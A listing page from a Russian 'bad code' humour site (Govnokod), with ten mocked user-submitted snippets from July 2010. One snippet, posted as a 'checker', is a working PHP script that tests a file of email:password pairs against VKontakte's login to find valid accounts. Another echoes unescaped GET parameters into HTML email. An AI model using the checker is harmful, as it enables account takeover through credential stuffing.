1. JavaScript / Говнокод #3645

    +147

    1. 1
    2. 2
    3. 3
    4. 4
    var is_rtl = false;if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
      onDomReady(function() {
        document.getElementsByTagName('body')[0].innerHTML = '<h1 style="color: #F00">THIS IS NOT VKONTAKTE AND NOT VK SITE</h1>';
      });

    отжиг от Дурова на странице логин.пэхэпэ

    GoodTalkBot, 05 Июля 2010

    Комментарии (15)
  2. PHP / Говнокод #3644

    +149

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    <?
    $txt_file=("logins.txt");
    preg_match( "/value='(.*)'/", file_get_contents("http://login.vk.com/?act=login&[email protected]&pass=asdasd&expire=&vk="), $null );
    foreach(file($txt_file) as $account)
    { 
    $data=explode(':',$account);
    $qwe = file_get_contents('http://login.vk.com/?act=login&email='.urlencode($data[0]).'&pass='.urlencode($data[1]).'&expire=&vk=');
    if($qwe == $null){
           print "".$data[0].":".$data[1]." not valid</br>";
    }else{ 
           print "".$data[0].":".$data[1]." are valid</br>"; 
      } 
      } 
    ?>

    checker

    r00t, 05 Июля 2010

    Комментарии (1)
  3. PHP / Говнокод #3643

    +176

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    //вторая форма
    		$n2 = $_GET['n2'];//Компания
    		$n10 = $_GET['n10'];//Ф.И.О:
    		$n11 = $_GET['n11'];// Должность:
    		$n12 = $_GET['n12'];//Телефон:
    		$n13 = $_GET['n13'];//E-mail:
    		$n14 = $_GET['n14'];//
    		$n15 = $_GET['n15'];
    		$n16 = $_GET['n16'];
    		$n17 = $_GET['n17'];
    		$n18 = $_GET['n18'];
    		$n19 = $_GET['n19'];
    		$n20 = $_GET['n20'];
    		$n21 = $_GET['n21'];
    		$n22 = $_GET['n22'];
    		$n23 = $_GET['n23'];
    		$n24 = $_GET['n24'];
    		$n25 = $_GET['n25'];
    		$n26 = $_GET['n26'];
    		$n27 = $_GET['n27'];
    		$n28 = $_GET['n28'];
    		$n29 = $_GET['n29'];
    		$n30 = $_GET['n30'];
    		$n31 = $_GET['n31'];
    		$n32 = $_GET['n32'];
    		$n33 = $_GET['n33'];
    		$n34 = $_GET['n34'];
    		$n35 = $_GET['n35'];
    		$n37 = $_GET['n37'];//value - другое:
    		$n38 = $_GET['n38'];
    		$n39 = $_GET['n39'];
    		$n40 = $_GET['n40'];//new form - Картонные карты - Тираж(от 10 000 шт.): 
    		$n41 = $_GET['n41'];
    		$n42 = $_GET['n42'];
    		$n43 = $_GET['n43'];
    		$n44 = $_GET['n44'];
    		$n45 = $_GET['n45'];
    		$n46 = $_GET['n46'];
    		$n47 = $_GET['n47'];//new form - Услуги сборки - Количество комплектов: 
    		$n48 = $_GET['n48'];
    		$n49 = $_GET['n49'];
    		$n50 = $_GET['n50'];
    		$n51 = $_GET['n51'];
    		$n52 = $_GET['n52'];
    		$n53 = $_GET['n53'];
    		$n54 = $_GET['n54'];
    		$n55 = $_GET['n55'];
    		$n56 = $_GET['n56'];
    		$n57 = $_GET['n57'];
    		$n58 = $_GET['n58'];
    		$n59 = $_GET['n59'];//new form - Мейлинг - Есть
    		$n60 = $_GET['n60'];
    		$n61 = $_GET['n61'];
    		$n62 = $_GET['n62'];
    		$n63 = $_GET['n63'];
    		$n64 = $_GET['n64'];
    		$n65 = $_GET['n65'];
    		$n66 = $_GET['n66'];
    		$n67 = $_GET['n67'];
    		$n68 = $_GET['n68'];
    		$n69 = $_GET['n69'];
    		$n70 = $_GET['n70'];
    		$n71 = $_GET['n71'];
    		$n72 = $_GET['n72'];
    		$n73 = $_GET['n73'];
    		$n74 = $_GET['n74'];
    		$n75 = $_GET['n75'];
    		$n76 = $_GET['n76'];
    		$n77 = $_GET['n77'];
    		$n78 = $_GET['n78'];
    		$n79 = $_GET['n79'];
    		$n80 = $_GET['n80'];
    		$n81 = $_GET['n81'];
    		$n82 = $_GET['n82'];
    		$n83 = $_GET['n83'];
    		$n84 = $_GET['n84'];
    		$n85 = $_GET['n85'];
    		$n86 = $_GET['n86'];
    		$n87 = $_GET['n87'];
    		$n88 = $_GET['n88'];
    		$n89 = $_GET['n89'];
    		$n90 = $_GET['n90'];
    		
    		$subject2 = "Онлайн просчет";
    		$headers2 = "MIME-Version: 1.0\n";
    		$headers2 .= "Content-type: text/html; charset=utf-8\n";
    		$text2 = "<table border='0' cellspacing='0' cellpadding='0' width='100%' align='center' bgcolor='#f0f0f0'> <tr> 
    		<td><table border='0' cellspacing='0' cellpadding='0' width='600' align='center' bgcolor='#f0f0f0'> <tr> 
    		<td width='178' height='50' valign='center'><font size='2'>&nbsp;&nbsp;&nbsp;Компания* :</font></td> <td 
    		width='329'><input type=TEXT name='n2' value='".$n2."' readonly='readonly' size='49' style='border: 2; 
    		background: #e2e2e2' /></td> </tr> <tr> <td height='50' valign='center'><font

    этот пиздец был найден в коде одного проекта на жумле, в файле темплейта
    в конечном итогде это все отправлялось на мыло

    krasnoukhov, 05 Июля 2010

    Комментарии (14)
  4. PHP / Говнокод #3642

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    <?php
    	
    	class Train {
    		
    		private $strFrom;
    		private $strTo;
    		private $strName;
    		....................................
    		
    		public function __construct($arrParameters) {
    			$objThis = $this;
    			
    			$objThis->strFrom = $arrParameters['strFrom'];
    			$objThis->strTo   = $arrParameters['strTo'];
    			$objThis->strName = $arrParameters['strName'];
    			
    			................................
    			
    			$intCount = count($arrParameters);
    			for ($intI = 0; $intI < $intCount; $intI++) {
    				............................
    			}
    			
    			................................
    			
    			foreach ($arrParameters as $strKey => $mixedValue) {
    				............................
    			}
    		}
    		
    		....................................
    	}

    Интересно ваше мнение о венгерской нотации

    doroshenkoes, 05 Июля 2010

    Комментарии (48)
  5. PHP / Говнокод #3641

    +160

    1. 1
    2. 2
    3. 3
    if (empty($author) or empty ($text)) {
    exit ("<p>Оппа, нежданчик!<br> <input name='back' type='button' value='Вернуться назад' onclick='javascript:self.back();'>");
    }

    ...внезапно! (sic!)
    Источник: комментарии на ruseller.com

    kindofbear, 05 Июля 2010

    Комментарии (7)
  6. Си / Говнокод #3640

    +135

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    int Xor4Bit_2 (unsigned char data)
    {
         unsigned char result = data;
          while (data != 0)
         {
             result ^= data & 1;
             data >>= 1;
         }
          result &= 1;
         return result;
    }
    
    вот как студенты получают xor битов числа
    это же нужно так извратить простой рабочий алгоритм
         
    int Xor4Bit_2 (unsigned char data)
    {
         int result = 0       
         while (data != 0)
         {
             result ^= data & 1;
             data >>= 1;
         }
         return result;
    }

    получил данный код после измышлизмов знакомого студента, перед этим дав ему рабочий вариант, мдя...

    ageron, 04 Июля 2010

    Комментарии (36)
  7. C++ / Говнокод #3639

    +160

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    int S; 
    int A; 
    int random_integer = (rand()%3); 
    cout<<"Skolko vsego palochek\n"; 
    cin>>S; 
    cout<<"Komp zaberaet\n"; 
    S-=random_integer; 
    cout<<s<<"\n";>>A; 
    S-=A; 
    if (S==8) S-=3; cout<<"Komp Zaberaet\n"; 
    if (S==7) S-=2; cout<<"Komp Zaberaet\n"; 
    if (S==6) S-=1; cout<<"Komp Zaberaet\n"; 
    if (S==4) S-=3; cout<<"Komp Zaberaet\n"; 
    if (S==3) S-=2; cout<<"Komp Zaberaet\n"; 
    if (S==2) S-=1; cout<<"Komp Zaberaet\n"; 
    else 
    if (A==1) S-=3; cout<<"Komp Zaberaet\n"; 
    if (A==2) S-=2; cout<<"Komp Zaberaet\n"; 
    if (A==3) S-=1; cout<<"Komp Zaberaet\n"; 
    cout<<s<<"\n";>>A; 
    if (S<=0) cout<<"Vu proigrali\n"; 
    if (A!=3 && A!=2 && A!=1) cout<<"Mogno tolko ot 1-3 palochek\n";

    Вот такой суровый говнокод я встретил в одном из вопросов ВиО. То что код не рабочий и так понятно.

    Ivan0x32, 04 Июля 2010

    Комментарии (38)
  8. PHP / Говнокод #3638

    +144

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if(USER_CLIENT == 'PC')
    {}                                              // Если комп то ничего помимо не выводим
    elseif(USER_CLIENT == 'MOBILE'){                // Если мобила  то предлагаем отправить смску прямо с сайта     
    echo'Отправить смс:<br />';
    echo"<b><a href=\"smsto:$nomer?body=#zabaks.ru $text\">Вариант 1</a></b><br />";
    echo"<b><a href=\"sms:$nomer?body=#zabaks.ru $text\">Вариант 2</a></b><br />";
    }
    }

    на#&й тут первый блок if?

    DmitryDick, 04 Июля 2010

    Комментарии (5)
  9. PHP / Говнокод #3637

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    function tuc($mensaje)
    {
    	if (ereg("^[a-zA-Z0-9\-_]{1,255}$", $mensaje))
    	{
    		return $mensaje;
    	}else{
    		$mensaje='';
    		return $mensaje;
    	}
    }

    Evil_Wolf, 03 Июля 2010

    Комментарии (25)
  10. Куча / Говнокод #3636

    +144

    1. 1
    2. 2
    3. 3
    4. 4
    Сделайте пожалуйста рейтинг для каждого участника, как на StackOverflow. 
    Рейтинг может быть основан на данных о кол-ве заплюсованных/заминусованных сообщений.
    Интересно -- у кого самый длинный и толстый рейтинг:) 
    Мне кажется -- будет весело.

    Анонимус, 03 Июля 2010

    Комментарии (32)